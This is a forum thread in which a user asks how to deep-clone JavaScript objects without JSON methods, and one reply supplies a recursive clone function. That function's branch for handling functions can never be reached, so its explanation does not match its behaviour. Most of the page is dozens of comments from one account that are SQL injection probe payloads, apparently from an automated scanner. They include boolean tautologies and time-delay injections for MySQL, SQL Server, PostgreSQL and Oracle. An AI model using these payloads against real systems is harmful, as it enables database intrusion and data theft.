Subham Mitra

Subham Mitra started this conversation 8 months ago.

How do I deep clone a JavaScript object without using JSON methods?

I've been using JSON.parse(JSON.stringify(obj)) to deep clone objects, but it's causing issues with functions and undefined values. Is there a better way to deep clone objects in JavaScript without losing data like methods or special values?

Here's what I tried:

const original = { a: 1, b: { c: 2 }, d: () => console.log('hello') };
const clone = JSON.parse(JSON.stringify(original));
console.log(clone); // functions are lost

Shubham Chopra

Posted 8 months ago

Using JSON.parse(JSON.stringify(obj)) for deep cloning has limitations, as you've noticed. It strips out functions, undefined values, Date objects, Set, Map, and other non-serializable types. To deep clone an object without losing these, there are more robust methods.

Alternative Approach: Recursive Deep Clone Function

You can write your own deep clone function that properly handles complex types like objects, arrays, functions, Date, and more. Here's how to do it:

function deepClone(obj, hash = new WeakMap()) {
  // Handle non-object types (null, undefined, primitive types)
  if (obj === null || typeof obj !== 'object') return obj;
  
  // Handle cyclic references
  if (hash.has(obj)) return hash.get(obj);
  
  // Handle Date
  if (obj instanceof Date) return new Date(obj);
  
  // Handle Array
  if (Array.isArray(obj)) {
    const arrClone = [];
    hash.set(obj, arrClone); // Store reference in hash
    obj.forEach((item, index) => {
      arrClone[index] = deepClone(item, hash); // Recursively clone each array item
    });
    return arrClone;
  }

  // Handle Set
  if (obj instanceof Set) {
    const setClone = new Set();
    hash.set(obj, setClone);
    obj.forEach(value => {
      setClone.add(deepClone(value, hash));
    });
    return setClone;
  }

  // Handle Map
  if (obj instanceof Map) {
    const mapClone = new Map();
    hash.set(obj, mapClone);
    obj.forEach((value, key) => {
      mapClone.set(key, deepClone(value, hash));
    });
    return mapClone;
  }

  // Handle Function
  if (typeof obj === 'function') {
    return obj.bind(this); // Copy the reference of the function
  }

  // Handle Object (including cases like {} or custom objects)
  const objClone = Object.create(Object.getPrototypeOf(obj));
  hash.set(obj, objClone); // Store reference in hash to handle circular references

  for (let key in obj) {
    if (obj.hasOwnProperty(key)) {
      objClone[key] = deepClone(obj[key], hash); // Recursively clone each property
    }
  }

  return objClone;
}

// Example usage:
const original = { a: 1, b: { c: 2 }, d: () => console.log('hello'), e: new Date(), f: new Set([1, 2, 3]) };
const clone = deepClone(original);

console.log(clone); 
// Clone will preserve functions, Date, Set, Map, etc.

Key Points:

  1. Primitive Types: If the value is a primitive (string, number, boolean, null, undefined), it’s returned directly.
  2. Objects and Arrays: Recursively cloned, handling nested structures.
  3. Cyclic References: A WeakMap is used to handle cyclic references, ensuring that the function doesn't get stuck in an infinite loop if the object has self-references.
  4. Functions: Functions are copied by reference using .bind(this). If the functions rely on context (this), they will still behave as expected.
  5. Special Objects: Handles Date, Set, Map, and similar objects, which would otherwise be lost using JSON.stringify().

Why Use a Custom Deep Clone?

  • Handles Functions: Your functions are preserved, unlike with JSON.stringify().
  • Preserves Special Objects: Non-serializable types like Date, Set, and Map are cloned properly.
  • Avoids Issues with Circular References: The WeakMap ensures that cyclic objects are handled gracefully.

This approach is safer and more versatile for deep cloning complex objects in JavaScript.

fnfOzvSR

Posted 8 months ago

555

fnfOzvSR

Posted 8 months ago

555

fnfOzvSR

Posted 8 months ago

555

fnfOzvSR

Posted 8 months ago

555

fnfOzvSR

Posted 8 months ago

555

fnfOzvSR

Posted 8 months ago

555

fnfOzvSR

Posted 8 months ago

-1 OR 2+613-613-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1 OR 3+613-613-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1 OR 2+695-695-1=0+0+0+1

fnfOzvSR

Posted 8 months ago

-1 OR 3+695-695-1=0+0+0+1

fnfOzvSR

Posted 8 months ago

-1' OR 2+58-58-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1' OR 3+58-58-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1' OR 2+781-781-1=0+0+0+1 or 'rbjwXgKc'='

fnfOzvSR

Posted 8 months ago

-1' OR 3+781-781-1=0+0+0+1 or 'rbjwXgKc'='

fnfOzvSR

Posted 8 months ago

-1" OR 2+228-228-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1" OR 3+228-228-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

555*if(now()=sysdate(),sleep(15),0)

fnfOzvSR

Posted 8 months ago

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

fnfOzvSR

Posted 8 months ago

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

fnfOzvSR

Posted 8 months ago

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

fnfOzvSR

Posted 8 months ago

555-1; waitfor delay '0:0:15' --

fnfOzvSR

Posted 8 months ago

555-1); waitfor delay '0:0:15' --

fnfOzvSR

Posted 8 months ago

555-1 waitfor delay '0:0:15' --

fnfOzvSR

Posted 8 months ago

555qbEuNwCP'; waitfor delay '0:0:15' --

fnfOzvSR

Posted 8 months ago

555-1 OR 136=(SELECT 136 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

555-1) OR 669=(SELECT 669 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

555-1)) OR 98=(SELECT 98 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

5557knXxEDS' OR 689=(SELECT 689 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

555zQIPNtDi') OR 633=(SELECT 633 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

5552OVaKXqK')) OR 787=(SELECT 787 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

fnfOzvSR

Posted 8 months ago

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

fnfOzvSR

Posted 8 months ago

555

fnfOzvSR

Posted 8 months ago

555'"

fnfOzvSR

Posted 8 months ago

@@Olqg1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

-1 OR 2+203-203-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1 OR 3+203-203-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1 OR 2+476-476-1=0+0+0+1

fnfOzvSR

Posted 8 months ago

-1 OR 3+476-476-1=0+0+0+1

fnfOzvSR

Posted 8 months ago

-1' OR 2+717-717-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1' OR 3+717-717-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1' OR 2+172-172-1=0+0+0+1 or 'inpBiult'='

fnfOzvSR

Posted 8 months ago

-1' OR 3+172-172-1=0+0+0+1 or 'inpBiult'='

fnfOzvSR

Posted 8 months ago

-1" OR 2+273-273-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

-1" OR 3+273-273-1=0+0+0+1 --

fnfOzvSR

Posted 8 months ago

1*if(now()=sysdate(),sleep(15),0)

fnfOzvSR

Posted 8 months ago

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

fnfOzvSR

Posted 8 months ago

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

fnfOzvSR

Posted 8 months ago

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

fnfOzvSR

Posted 8 months ago

1-1; waitfor delay '0:0:15' --

fnfOzvSR

Posted 8 months ago

1-1); waitfor delay '0:0:15' --

fnfOzvSR

Posted 8 months ago

1-1 waitfor delay '0:0:15' --

fnfOzvSR

Posted 8 months ago

1E70TDWJP'; waitfor delay '0:0:15' --

fnfOzvSR

Posted 8 months ago

1-1 OR 87=(SELECT 87 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

1-1) OR 327=(SELECT 327 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

1-1)) OR 882=(SELECT 882 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

1MgeVYuf3' OR 21=(SELECT 21 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

10M69NLYF') OR 983=(SELECT 983 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

1NaQgN2LK')) OR 624=(SELECT 624 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 8 months ago

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

fnfOzvSR

Posted 8 months ago

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

fnfOzvSR

Posted 8 months ago

1

fnfOzvSR

Posted 8 months ago

1'"

fnfOzvSR

Posted 8 months ago

@@wJJUy